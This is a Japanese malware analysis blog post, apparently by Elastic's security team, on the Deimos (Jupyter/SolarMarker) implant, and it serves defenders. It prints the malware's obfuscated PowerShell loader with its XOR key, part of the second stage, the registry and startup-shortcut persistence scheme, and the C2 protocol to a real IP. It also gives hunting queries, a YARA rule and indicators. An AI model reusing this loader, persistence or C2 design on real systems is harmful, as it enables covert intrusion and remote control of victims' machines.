
2020年に初めて報告されたDeimosインプラントは、新しく複雑なマルウェアの一形態です。実質的には複雑な難読化、および暗号化テクニックで構成された複層レイヤーを用いて検知を回避することを意図したリモートアクセスツールであり、現在も活発な開発が行われています。
Deimosインプラントは防御に対する高度な対抗手段を搭載しているだけでなく、説得力のあるルアーファイルと電子署名付きインストール実行プログラムを内蔵しており、特定や分析のプロセスを欺くことができます。しかし先日、Elasticセキュリティチームは観測されたDeimosインプラントのコマンド&コントロール(C2)インフラを解体することに成功しました。これにより、この強力なインプラントの特定に役立つ検知ルールと、ハンティングテクニックを公開することが可能となりました。
本ブログ記事では、DeimosインプラントのTTP、すなわち戦術、テクニック、プロシージャについて解説します。Elasticは、Deimosが動作する仕組みについて、マルウェアの設計者が防御の目的で難読化に努めてきた情報を明らかにすることで、セキュリティ担当者がElastic Stackを活用してマルウェアと侵入データを収集、分析する取り組みを支援することを目指しています。概要
Elasticのインテリジェンス&分析チームは、従来Jupyter Infostealerマルウェアの派生形とされていた(またはYellow CockatooおよびSolarMarkerとして追跡されていた)、Deimosの初期アクセスと永続性インプラントについて、新たな系統が出現していることを突き止めました。また別の調査結果発表においても、このインプラントがより完成度の高い難読化テクニックを持つことが示されました。これは、Deimosに関わる活動集団がコードベースを活発に修正して、防御のための対抗手段を回避していることを意味します。
Elasticが捕捉したサンプルは、情報収集ツールとして活用されるものではなく、初期アクセス、永続性、C2機能群を提供するインプラントでした。インプラントは、この特性によってパワフルなものとなっています。リモートアクセスを必要とするあらゆるタスクの遂行に使用できるためです。このような侵入は、標的に対する集中的な攻撃作戦の開始段階、あるいは、アクセス収集に関連しない他の攻撃作戦向けにまとめて売却する計画の一部と考えられます。
本分析は、デイビッド・ビアンコ氏の痛みのピラミッド(Pyramid of Pain)分析モデルを使用して、基本的インディケータ(Atomic Indicator)の値、アーティファクト、ツールマーク、このマルウェアオーサーに対するTTPsを詳述するほか、これらを明らかにすることにより、インプラントを活用する侵入手段に影響を与えることができる仕組みについて説明します。最後に、このインプラントと、類似のアーティファクトやTPPsを共有するその他のインプラントを特定するために活用できるホストベースのハンティングテクニックと、検知ルールを提供します。
本論
2021年8月31日、ElasticはJupyter Infostealerとテクニックを共有するプロセスインジェクションテレメトリを観測しました。この存在については、Morphisec、Binary Defense、ならびにセキュリティリサーチャーのSquibydoo氏も報告していました[1] [2] [3] [4] [5]。Elasticは分析に着手し、以前の調査で観測されたサンプルと比較して、難読化の実装方法が変化していることを特定しました。この変化には複数の要因が関わる可能性があるものの、その1つには、敵が既存の防御機能やマルウェア分析を回避、あるいはすり抜けようとする試みがあります。
注:このマルウェアの以前のバージョンついては詳細な報告書が存在します。したがって本記事では、新たに観測された機能と挙動を重点的に説明します。
Elasticチームはこのマルウェアを動的に分析し、別の報告と類似の振る舞いを観測しました。すなわち、ランタイム生成された変数(実行のたびにユニークな変数となる)、ディレクトリ、XOR暗号、Base64でエンコードされたコマンドの繰り返しを使う難読化です。以下に、このマルウェアオーサーが分析を妨害する目的で採用した、新しい難読化戦術の例を示します。この記事では、このマルウェアの実行を解凍し、内容を詳述します。
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$650326ac2b1100c4508b8a700b658ad7='C:\Users\user1\d2e227be5d58955a8d12db18fca5d787\a5fb52fc397f782c691961d23cf5e785\4284a9859ab2184b017070368b4a73cd\89555a8780abdb39d3f1761918c40505\83e4d9dd7a7735a516696a49efcc2269\d1c086bb3efeb05d8098a20b80fc3c1a\650326ac2b1100c4508b8a700b658ad7';$1e3dadee7a4b45213f674cb23b07d4b0='hYaAOxeocQMPVtECUZFJwGHzKnmqITrlyuNiDRkpgdWbSsfjvLBX';$d6ffa847bb31b563e9b7b08aad22d447=[System.Convert]::FromBase64String([System.IO.File]::ReadAllText($650326ac2b1100c4508b8a700b658ad7));remove-item $650326ac2b1100c4508b8a700b658ad7;for($i=0;$i -lt $d6ffa847bb31b563e9b7b08aad22d447.count;){for($j=0;$j -lt $1e3dadee7a4b45213f674cb23b07d4b0.length;$j++){$d6ffa847bb31b563e9b7b08aad22d447[$i]=$d6ffa847bb31b563e9b7b08aad22d447[$i] -bxor $1e3dadee7a4b45213f674cb23b07d4b0[$j];$i++;if($i -ge $d6ffa847bb31b563e9b7b08aad22d447.count){$j=$1e3dadee7a4b45213f674cb23b07d4b0.length}}};$d6ffa847bb31b563e9b7b08aad22d447=[System.Text.Encoding]::UTF8.GetString($d6ffa847bb31b563e9b7b08aad22d447);iex $d6ffa847bb31b563e9b7b08aad22d447;"
Elasticチームが観測したサンプルは、%USERPROFILE%
ディレクトリの奥深くで複数のサブディレクトリに、Base64でエンコードされ、ネストされたファイルを作成していました。さらに、このPowerShellスクリプト(このサンプルでは$650326ac2b1100c4508b8a700b658ad7
)にあるランタイム変数を使用して、このファイルを参照していました。図2に示すように、このエンコードされたファイルは、PowerShellによる読み取り完了後に削除されています。以前に公表された別の調査では、Base64の文字列がPowerShellコマンド内にあり、実行中に見える状態で観測されていました。これは、セキュリティリサーチャーたちが公開した報告書にマルウェアオーサーが反応し、難読化テクニックを改造して使用したことを意味します。
FromBase64String([System.IO.File]::ReadAllText($650326ac2b1100c4508b8a700b658ad7));remove-item $650326ac2b1100c4508b8a700b658ad7
この他に、hYaAOxeocQMPVtECUZFJwGHzKnmqITrlyuNiDRkpgdWbSsfjvLBX
という値を持つ別の変数(観測サンプルでは$1e3dadee7a4b45213f674cb23b07d4b0
)も含まれていました。ElasticチームはこのPowerShellコマンドの難読化を解除し、この値が650326ac2b1100c4508b8a700b658ad7
ファイルの値の暗号化を解除するために使用されたXORキーであることを特定しました。この時点で、Base64エンコードファイルの場所を突き止め、暗号化を解除する手段も判明しています。あとは、このファイルの削除を防止する必要があります。
Elasticチームはこのために、Sysmon向けのFileDeleteイベントconfigを使用しました。デフォルトで、このconfigは"C:\Sysmon
"に1つのディレクトリを作成し、次にこのフォルダーに削除されたすべてのファイル(ファイルのMD5 + SHA256ハッシュ + 33 0's + 拡張子で名付けられる)を配置します。このディレクトリは、SYSTEM
ユーザーのみ使用可能です。ElasticチームがPSExecを使用してこのフォルダー(psexec -sid cmd
)にアクセスしたところ、問題のファイルには、Base64でエンコードされた1行の文字列が含まれていました。
さきほどPowerShellで確認したように、このコンテンツはXOR暗号で保護されていますが、暗号のカギを入手済みです。Elasticチームはbase64およびxortoolのコマンドラインツールを用いて、ファイルのデコードと暗号化解除に成功しました。
- base64
- -D - base64プログラムを使用してデコード
- -i - デコードされるインプットファイル
- -o - デコードされたコンテンツを保存するアウトプットファイル
- xortool-xor
- -r - XOR暗号キー
- -f - XORで暗号化されたファイル
- > - 暗号化を解除されたファイルをアウトプット
base64 -D -i 650326ac2b1100c4508b8a700b658ad7.encoded \ -o 650326ac2b1100c4508b8a700b658ad7.decoded xortool-xor -r hYaAOxeocQMPVtECUZFJwGHzKnmqITrlyuNiDRkpgdWbSsfjvLBX \ -f 650326ac2b1100c4508b8a700b658ad7.decoded \ > 650326ac2b1100c4508b8a700b658ad7.xor
実行した結果、XOR暗号化され、Base64エンコードされた1つの変数で始まり、ふたたびPowerShellで終わる、難読化された別のファイルが出力されました。
$adab58383614f8be4ed9d27508c2b='FTDSclNHUTdlaXBxnKdZa9pUUW9iakpFGDBaelBHbE9mbTVZYlVFbWIxZ... ...CReaTEShorTcuT($ENV:APpDATa+'\m'+'IcR'+'OSO'+'Ft'+'\w'+'Ind'+'OW'+'S\'+'sT'+'ARt'+' ME '+'nU'+'\pr'+'OGR'+'aMS\'+'sT'+'ART'+'uP'+'\a44f066dfa44db9fba953a982d48b.LNk');$a78b0ce650249ba927e4cf43d02e5.tARGETpaTh=$a079109a9a641e8b862832e92c1c7+'\'+$a7f0a120130474bdc120c5f 13775a;$a78b0ce650249ba927e4cf43d02e5.WInDoWSTYLE=7;$a78b0ce650249ba927e4cf43d02e5.sAvE();IEx $a54b6e0f7564f4ad0bf41a1875401;
そこでElasticチームはさきほどと同じプロセスを再び実行し、XORキー(Base64であるように見せる目的で = 記号を使用していた可能性がある)を特定して、ファイルをデコードしました。
XjBrPGQ7aipqcXYkbTQobjJEX0ZzPGlOfm5YbUEmb1dBazZ0RlpCa2hLQks8eXNxK3tsRHpZVmtmUU9mb31jaVVuMXUxUGk/e0tDa0QmXjA8U0ZAckhgNl5vX1deQGBad2peTyZvVUByaSk2XlBJMTxAdEtnT0B3fnBJPCtfe2tvV0d7P3Y0V2BaeXQ9PmhtI3ZaVHc3I2tGcm5IRmlmUTV8bXpxXlg/cyo8XyFwXyt5QmwjOChQZ09aPXxqaS1hfmxDK3U=
このプロセスの産物は、1つの.NET DLLファイルでした。この.NET DLLファイルは、永続性に使用するインプラントトラッキングIDと複数のファイルを作成します(このトラッキングIDについては、後述の「分析 - 初期アクセス」セクションで詳述します)。
adab58383614f8be4ed9d27508c2b:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
このDLLは「Mars.Deimos」という自称しており、MorphisecとBinary、ならびにセキュリティリサーチャーであるSquibydoo氏による先行研究との相関関係が見られます[1] [2] [3] [4] [5]。Elasticチームが観測した特定のサンプルは、Dotfuscator CE 6.3.0という.NETハードニングツールを使用してマルウェア分析を妨害していました。
とりわけ興味深い発見は、このオーサーたちは検知の難易度を高める努力として一定の時間をマルウェアの修正に費やしていたことです。これは、彼らがマルウェアを保守する試みに、何らかのインセンティブが働いていることを示唆するものであり、分析フェーズに進むにあたって耳寄りな情報です。つまり、金銭的利益のために悪用する集団にとって有用なマルウェアに影響を与え、その企てを頓挫させることができる可能性があります。
分析
本分析で参照されるすべてのインディケーターを、後述の「インディケーター」セクションに記載しています。
痛みのピラミッド(Pyramid of Pain)
分析に入る前に、このプロセスを進めるためにElasticチームが使用したモデルについて説明しましょう。
痛みのピラミッド(Pyramid of Pain)と呼ばれる分析モデルは、2013年にセキュリティリサーチャーのデイビッド・ビアンコ氏によって発表されました。このモデルは、侵入のさまざまな要素が1つの攻撃にもたらす影響を理解する目的で作成されています。下のモデルが示すように、ハッシュ値の特定は役に立ちますが、敵は簡単にハッシュ値を変更できます。対照的に、TTPの変更は敵にとって非常に難易度が高いと言えます。

“痛みのピラミッド”を使用する目的は、侵入についてできる限り理解を深め、防御側が与えることができる影響(つまり“痛み”の大きさ)を予測することです。本記事では終始、説明のメソッドとなる“痛みのピラミッド”に沿って捕捉したサンプルの分析を行い、その潜在的な影響を評価します。
ファイルハッシュ(File Hashes)
新系統のマルウェアサンプルを観測したことを特定した後、Elasticチームはデータセットに検索クエリを適用し、社会的属性に関連性がない一意の組織を10社特定しました。これは、特定された10社が標的ではないと考えられることを意味します。Elasticチームはこの10の組織から、10の異なる初期インストーラーファイルハッシュを観測しました。ドロップされたエンコードファイルも、すべて異なっています。
この情報は役立ちますが、組織を横断する検知メソッドとしてファイルハッシュが役に立たないことは明らかです。
IPアドレス(IP Addresses)
他のリサーチャーの指摘と同様、Elasticチームの観測でも、攻撃に同じIPアドレスが使われていました。このIPアドレスは、2021年8月30日に、悪意のあるファイルと強く関連付けられていました。
IP 216.230.232.134 Anycast false City Houston Region Texas Country United States (US) Location 29.7633,-95.3633 Organization AS40156 The Optimal Link Corporation Postal 77052 Timezone America/Chicago
このIPアドレスはすでに複数の不正情報共有サイトに報告されており、また複数のセキュリティリサーチャーが銘々に特定していました。Elasticチームは2021年9月21日にこのIPアドレスの削除要請を行いました。要請は正常に受理され、観測対象のC2インフラからすべてのインプラントへのアクセスが削除されました。
この基本的インディケータ(Atomic Indicator)はファイアウォール上でのブロックには有用ではあるものの、敵は容易に別のIPに変更することができます。敵により大きな衝撃を与えるために、さらにピラミッドの上の段階に進んでみましょう。
アーティファクト(Artifacts)
リソース開発(Resource Development)
Elasticチームが分析したルアーファイルサンプルは、スカンジナビアと、スラブ系言語が使われる国々の組織によって定期的に署名されていましたが、外れ値として英語圏およびフランス語圏にあたる国の組織も2つ確認されました。複数のサンプルにおいて、署名は"Spoloènos s Ruèením Obmedzeným"(S.R.O.)として登録されたデジタル証明書によるものでした。S.R.O.とは、スロバキアで外国法人が所有する企業が用いる事業体の呼称です。
Elasticチームが電子署名の所有者として特定したS.R.O.(SRO #1とする)は、2021年7月29日に設立されており、署名は2021年8月26日から観測されていました。さらに、Elasticが突き止めたこのS.R.O.は、別のS.R.O.(SRO #2とする)により所有される子会社でした。

SRO #2は2014年8月19日より事業を行っており、多様なサービスを展開しています。SRO #2の所有者欄には、旧東側諸国にあたる国を居住地とする1名のパートナー(エグゼクティブマネージャー)が記載されています。

この組織や人物が意図的に関与したるのか、あるいは乗っ取り、つまり意図せず巻き込まれているかは断定できず、本記事では実際の名称等を掲載しません。分析した他のサンプルでは、盗まれた可能性のある証明書の取得プロセスとの整合性が見られます。しかし明らかなこととして、一連の証明書は何らかの手段で調達されており、この責任者(達)は、スロバキアで外国所有企業を登記するという公的手続きや法的要件に精通していると考えられます。
初期アクセス(Initial Access)
Elasticチームは、このティアで最も多くのインディケーターを観測しました。アーティファクトティアのインディケーターであるホストとネットワークはいずれも、防御側にとって貴重な情報です。これは、マルウェアが動作する仕組みについて敵がかなりのリアーキテクトを行わない限り、変更することが困難であるためです。この点は、モジュール的で簡単に変更できる要素である基本的インディケータ(ハッシュ、およびインフラ)と大きく異なります。暗号化キー(後述を参照)などのアーティファクトは大抵、コンパイル前にソースコードにハードコーディングされており、修正には大がかりな作業が必要です。
このドロッパーはネスト化された一連のディレクトリを作成していました。ディレクトリ名には英数字の小文字が使われ、長さは32字です。Elasticチームが観測したすべてのケースで、6階層にネストされたディレクトリが作成され、かつ最終のサブディレクトリ内に同じ命名規則を使用した単体のファイルが見つかりました。このファイルは初期実行の間に読み込まれ、52バイトの静的XORキーにより難読化解除された後、PowerShellスクリプトとして実行されました。このアクティビティを特定したハンティングクエリは、本記事の「検知」(Detection)のセクションに記載されています。
さらに、この.Netアセンブリは%USERPROFILE%\APPDATA\ROAMING
に置かれているすべてのファイルをリスト化して文字列を作成します。これはhwid
値として格納され、このマシン固有の識別子です。ファイルが存在しない場合、32のランダムなバイトを生成して、それをカスタムのBase64エンコードでエンコーディングすることにより作成されます。
永続化(Persistence)
実行完了後、このPowerShellスクリプトは%APPDATA%\Microsoft\
と命名されたディレクトリに、100
以上200
未満のランダムな数のファイルを生成するマルウェアの永続性を確立します。\
と命名されます。ランダム文字列はそれぞれ、ディレクトリ名と同じ命名規則に従います。最後に、このディレクトリに1つの最終ファイルが書き込まれ、そこに難読化された.Net DLLが含まれています。これが実際のDeimosインプラントです。類似の属性を持つこのディレクトリ内のダミーファイル群とよく似ており、念入りに防御の回避を図っていることがわかります。
次の関数スクリプトは2つのレジストリキーを作成します。このキーは先ほど作成されたランダムデータの最初のファイル用のWindowsシェルハンドラーを提供します。このハンドラーはそのファイルのファイル拡張子を使用し、実行リクエストをPowerShellコマンドの実行に関連付けます。2つのレジストリキーはHKEY_CURRENT_USER\Software\Classes\
に作成されます。この\\Shell\Open\Command
のサブキーを持ち、ここにローダーPowerShellスクリプトが含まれます。この文字列の値には、大文字と小文字が混ざっており、さらに検索の難易度を高めています。たとえばElasticチームが分析したサンプルでは、PowErShELl
でした。2つ目のキーは事実上、上述の最初にランダムに生成されたファイルのファイル拡張子に一致するエイリアスです。この値は、1つめのキーのパスに使われたランダムな文字列の小文字の値に一致します。
最後の永続性アーティファクトは、ユーザーのスタートアップ(StartUp)ディレクトリに置かれた.LNk
ファイルです。このサンプルではハードコードであり、a44f066dfa44db9fba953a982d48b.LNk
と名付けられています。上述のランダム生成された最初のファイルを起動するためのショートカットが設定されており、このショートカットは最小化された1つのウインドウを開きます。ユーザーがログインすると、このリンクファイルがWindowsにファイルを起動するよう命じますが、このファイルは実行プログラムではありません。先ほどの2つのレジストリキーは、1つ目のキー中に設定されたPowerShellコマンドを起動するようWindowsに指示し、ファイルを実行します。このPowerShellコマンドは、難読化された.Net DLLへの完全なパスと、難読化解除のためのXORキーを含みます。最後に、クラスメソッド[Mars.Deimos]::interact()を呼び出すことにより、この.Net DLLアセンブリがPowerShellによって実行されます。この永続性アーキテクチャーは文章ではわかりにくいため、ここではスクリーンショット画像を使って永続性のメカニズムを示します。

コマンド&コントロールフェーズ(Command and Control Phase)
このマルウェアは、保有する権限のレベルであらゆるアクションを実行できる汎用のインプラントを提供します。つまり、Windows PEファイルやPowerShellスクリプト、.Net DLLアセンブリを受信して実行することも、任意のPowerShellコマンドを走らせることもできます。
いくつかコマンド固有のペイロードカプセル化の配列がありますが、いずれもC2サーバーに対するWebリクエストを実行する目的で、一般的なメソッドにパスされます。このWebリクエストはHTTP POST
メソッドを使用し、通信の確立に際し10分間のタイムアウトを設定します。
この.Net WebRequest
プロバイダーがポピュレートしたデフォルトのヘッダー以外に、付加的なヘッダーは設定されていません。デフォルトのヘッダーは、Host
、Content-Length
、Connection: Keep-Alive
です。
POST / HTTP/1.1 Host:216.230.232.134 Content-Length:677 Connection:Keep-Alive
図13は、クライアントのPOSTリクエストの本文を16進ダンプで表示したものです。

最初の白く示された部分は、ネットワーク通信のパターンを難読化するためにランダムに生成され、本文の前に追加されたバイトです。0以上512以下のバイトとなります。次の緑にハイライトされた部分はnullバイトで、ランダムデータの終了を示します。その次、青で示された部分は、サーバーからの最後の通信で送信された“cookie”値です。各通信は一意的であることから、キャプチャしたサーバーへのパケットの再現を回避するためと考えられます。この値を10バイトにしなければならない特段の要件は存在しませんが、Elasticチームが観測したすべてのトラフィックでこのようになっていました。最初のチェックインの場合、この値は表示されません。最後に、赤で示された残りのバイトが、暗号化された本文です。最初のチェックインでは、この部分はRSA暗号化され、厳密に256バイトとなります。そこに、インプラント用に次の通信に使用されるキーと、一意のハードウェアIDが含まれています。次回以降の通信で、クライアントは暗号化にAES-128 CBCモードを使用します。この部分の長さは、AES暗号化を使用するために常に16バイトの倍数になります。
最初のハンドシェイクに使用されるRSA公開鍵は、各攻撃につき一意です。図24に示すように、ElasticチームはYARAルールを使用して、このインプラントのサンプルを合計65個発見しました。このRSAキーは、米国からモルドバまで広範に分布している攻撃を一意的に識別するポイントとなります。サンプル中、情報窃盗の機能を有していたものの割合はたった12.5%であり、この点はJupyter Infostealerの観測結果と類似しています。あとのDeimosインプラントのサンプルには、付加的な情報窃盗機能が存在しませんでした。これは、Deimosインプラントが完全な機能性によって人気を博しており、あらゆる攻撃の初期アクセスと永続性に使われていると解釈することができます。
メインループ(Main Loop)
チェックインプロセスが完了すると、続いてメインプロセスループが開始されます。このインプラントのメインループ中のデフォルトアクションは、ping
アクションです。ping
は環境に関する情報(Windowsのバージョン、CPUアーキテクチャー、ユーザーによる管理者権限の設定があるかどうか、インプラントのバージョン文字列を含む)を送信します。
インプラントにタスクがスケジュールされている場合、このpingコマンドに対するレスポンスは、"file
"または"command
"のいずれかに設定されたステータス値を含みます。タスクが与えられていない場合、インプラントは20秒スリープし、さらに0 - 20秒のランダムな時間待機します。すべてのタスクの間にこの待機時間が挿入されます。
"file
"タスクの場合、インプラントはタスク定義のtask_id
属性を使用して別のリクエストをすぐに実行し、ファイルを取得します。インプラントは1つの"exe
"ファイル、"ps1
"ファイル、または"module
"を要求します。これはいずれも.Net Assemblyファイルです。
"exe
"がダウンロードされると、%TEMP%\
内のファイルに書き込まれます。このRANDOM_NAMEには、24字の英数字(すべて大文字)の値が入ります。このファイルの実行によってすぐに新しいプロセスが立ち上がり、そのステータス報告が次のタスク間隔に行われます。
"ps1
"ファイルがダウンロードされると、そのスクリプトのコンテンツがStandard Inputを使って新しいPowerShellプロセスにパスされます。
最後に"module
"ファイルが"plugin manager"に追加され、"Run
"メソッドを実行します。
"command
"タスクに対して、追加のリクエストは必要ありません。レスポンスの"command
"バリューに含まれるPowerShellコードは、"ps1
"ファイルタイプと同様に実行されます。
おそらく脅威のアクターは、スクリプトの早さ、あるいは相互作用的な操作に関する違いから、"command
"タイプを使用しています。よりサイズの大きいスクリプトには、"file
"タイプが使われると考えられます。
ツール(Tools)
観測されたすべてのサンプルのメタデータを検証した結果、Elasticチームはサンプルがすべて単一のPDFソフトウェアプラットフォームを使用して作成されたという信頼度の高い関連性を見出しました。
Comments :This installation was built with Inno Setup. Company Name : File Description :SlimReader Setup File Version : Legal Copyright : (c) InvestTech Original File Name : Product Name :SlimReader Product Version :1.4.1.2
このソフトウェア自体は正規のものと考えられますが、頻繁にルアーファイルの作成に利用されています。Elasticチームが観測した53のマルウェア、またはマルウェア近似種のサンプルは、SlimReader
ツールを使って作成されていました。補足情報として、eSentireの調査チームの発表によれば、SlimReader
は数十万ものルアーファイルの作成に利用されていることが特定されています。
TTPs
ピラミッドの最上部では、Elasticが捕捉したサンプルに含まれる特徴と、複数のセキュリティリサーチャーにより先行報告が行われていた特徴を観測します。観測されたすべてのケースで、マルウェアはGoogle Sneaky RedirectsおよびSearch Engine Optimization(SEO)ポイズニングとして知られるテクニックを使用し、ユーザーを欺いてマルウェアをインストールさせていました。
SEOポイズニングは、ドキュメントにSEOキーワードを埋め込み、検索エンジンでの表示順位を上昇させるテクニックです。このテクニックによって悪意のあるドキュメントやWebサイトがWeb検索結果の上位に表示されます。またGoogle Sneaky Redirectsは、初期マルウェアインストーラーをGoogle検索にちなんで名づけるテクニックとして使われ、ユーザーをだまし、ユーザーがダウンロードしたファイルをクリックさせる手段となります。たとえばあるユーザーが「free resume template」(無料 履歴書 テンプレート)と検索します。次にユーザーがテンプレートを公開しているように見えるWebサイトをクリックすると、実際にはそれが悪意のあるWebサイトであり、free-resume-template.exe
のような名前でマルウェアインストーラーを表示します。このマルウェアはPDFアイコンで表示されますが、実際には実行プログラム(.exe)です。騙されたユーザーがPEファイルを実行すると、PowerShellプロセスが開始されます。次の画像は、このプロセスをElastic Analyzerビューでハイライト表示したものです。

痛みのピラミッドが定める様々な要素を適用してこのマルウェアのプロセスと相互作用を理解することが、攻撃者グループと侵入手段に長期的な制裁を下すために最も重要です。
インパクト(Impact)
上述の侵入手段は、MITRE ATT&CK®フレームワーク分類が定める複数の戦術とテクニックを活用しています。その他のTTPsも存在する可能性がありますが、Elasticの分析では観測されていません。
戦術(Tactics)
- リソース開発(Resource Development)
- 初期アクセス(Initial Access)
- 実行(Execution))
- 永続化(Persistence)
- 防御回避(Defense Evasion)
- コマンド&コントロール(Command and Control)
テクニック/サブテクニック(Techniques / Sub Techniques)
- インフラストラクチャー取得(Acquire Infrastructure) - バーチャルプライベートサーバー(Virtual Private Server)
- 機能開発(Develop Capabilities) - マルウェア(Malware)、コード署名証明書(Code Signing Certificates)、または機能取得(Obtain Capabilities) - マルウェア(Malware)、コード署名証明書(Code Signing Certificates)
- ドライブバイコンプロマイズ(Drive-by Compromise)
- コマンドおよびスクリプティングインタープリター(Command and Scripting Interpreter) - PowerShell
- ユーザーによる実行(User Execution) - 悪意のあるファイル(Malicious File)
- ブートまたはログオン自動開始実行(Boot or Logon Autostart Execution) - レジストリランキー/スタートアップフォルダー(Registry Run Keys / Startup Folder)
- ファイルまたは情報の難読化解除/デコード(Deobfuscate/Decode Files or Information)
- 難読化されたファイルまたは情報(Obfuscated Files or Information) - ツールからのインディケーター削除(Indicator Removal from Tools)
- アプリケーションレイヤーコントロール(Application Layer Protocol) - Webプロトコル(Web Protocols)
検知
Elasticはこのアクティビティを包括的に特定する既存の検知ルールを提供しているほか、これらのテクニックの検知を目的とする2つの追加のルールをリリースしました。また、類似のテクニックを用いた他の侵入手段を特定する複数のハンティングクエリも追加しています。
検知のロジック
Elasticは、Elastic StackとElastic Endgameを使った検知ロジックのレポジトリを公開、および保守しています。
新登場の検知ルール
Suspicious Registry Modifications
Abnormal File Extension in User AppData Roaming Path
ハンティングクエリ
一連のハンティングクエリを使用するには、Kibanaで[セキュリティ]→[タイムライン]→[新しいタイムライン]→[相関付けクエリエディター]に進みます。このクエリ群は上記の侵入手段を特定するだけなく、完了した調査において悪意ある別のアクティビティに発展しうることが判明した、上記以外の注目のイベントも特定することができます。
このクエリは、難読化されたインストーラーを含む初期ドロップ済みファイルを特定します。
file where file.path regex """C:\\Users\\[^\\]*\\([a-z0-9]{32}\\){6}[a-z0-9]{32}"""

このクエリは、インプラントの初回実行時に作成された、一意の“ハードウェアID”ファイル(hwid
)を特定します。このIDファイルは、インストールを一意的に特定するために使用されます。
file where file.path regex~ """.*\\APPDATA\\ROAMING\\[A-Za-z0-9_]{96,192}"""

このクエリは、AppData\Roamingパスに10字以上のファイル拡張子を持つすべてのファイルを特定します。
file where file.path : "*\\appdata\\roaming\\*" and length(file.extension) >= 10 and process.name : ("cmd.exe", "powershell.exe", "wmic.exe", "mshta.exe", "pwsh.exe", "cscript.exe", "wscript.exe", "regsvr32.exe", "RegAsm.exe", "rundll32.exe", "EQNEDT32.EXE", "WINWORD.EXE", "EXCEL.EXE", "POWERPNT.EXE", "MSPUB.EXE", "MSACCESS.EXE", "iexplore.exe", "InstallUtil.exe")

このクエリはレジストリ内で、"powershell"という単語を含む、長い文字列値を特定します。
registry where registry.data.strings : "*powershell*" and length(registry.data.strings) >= 100

YARAルール
Elasticは、この記事で取り上げたDeimos trojan DLLファイルの存在を特定するYARAルールを作成しました。
rule Windows_Trojan_Deimos_DLL { meta: author = "Elastic Security" creation_date = "2021-09-18" last_modified = "2021-09-18" os = "Windows" arch = "x86" category_type = "Trojan" family = "Deimos" threat_name = "Windows.Trojan.Deimos" description = "Detects the presence of the Deimos trojan DLL file." reference = "" reference_sample = "2c1941847f660a99bbc6de16b00e563f70d900f9dbc40c6734871993961d3d3e" strings: $a1 = "\\APPDATA\\ROAMING" wide fullword $a2 = "{\"action\":\"ping\",\"" wide fullword $a3 = "Deimos" ascii fullword $b1 = { 00 57 00 58 00 59 00 5A 00 5F 00 00 17 75 00 73 00 65 00 72 00 } $b2 = { 0C 08 16 1F 68 9D 08 17 1F 77 9D 08 18 1F 69 9D 08 19 1F 64 9D } condition: all of ($a*) or 1 of ($b*) }
このYARAルールには、こちらからアクセスできます。
防御のための推奨アクション
以下に挙げるステップは、ネットワーク保護の体制を強化する目的で活用することができます。
- 上述の検知ロジックを確認し、SysmonやElastic Endpoint、あるいはWinlogbeatなどのテクノロジーを使って組織の環境に実装する。
- 最新のMicrosoftセキュリティ更新プログラムを確実にデプロイする。
- クリティカルなシステムのバックアップを保守し、迅速な復元の補助とする。
参照資料
本記事の全体を通じて、参照した調査研究は次の通りです。
- https://www.binarydefense.com/mars-deimos-solarmarker-jupyter-infostealer-part-1
- https://redcanary.com/blog/yellow-cockatoo
- https://www.crowdstrike.com/blog/solarmarker-backdoor-technical-analysis
- https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=VirTool:MSIL/Deimos.A!rfn&ThreatID=2147770772
- http://detect-respond.blogspot.com/2013/03/the-pyramid-of-pain.html
- https://blog.morphisec.com/jupyter-infostealer-backdoor-introduction
- https://blog.morphisec.com/new-jupyter-evasive-delivery-through-msi-installer
- https://squiblydoo.blog/2021/06/20/mars-deimos-from-jupiter-to-mars-and-back-again-part-two
- https://www.esentire.com/security-advisories/hackers-flood-the-web-with-100-000-malicious-pages-promising-professionals-free-business-forms-but-are-delivering-malware-reports-esentire
- https://www.bankinfosecurity.com/how-seo-poisoning-used-to-deploy-malware-a-16882
インディケーター
インディケーター | タイプ | 注釈 |
---|---|---|
f268491d2f7e9ab562a239ec56c4b38d669a7bd88181efb0bd89e450c68dd421 | SHA256ハッシュ | ルアーファイル |
af1e952b5b02ca06497e2050bd1ce8d17b9793fdb791473bdae5d994056cb21f | SHA256ハッシュ | マルウェアインストーラー |
d6e1c6a30356009c62bc2aa24f49674a7f492e5a34403344bfdd248656e20a54 | SHA256ハッシュ | .NET DLLファイル |
216[.]230[.]232[.]134 | IPアドレス | コマンド&コントロール |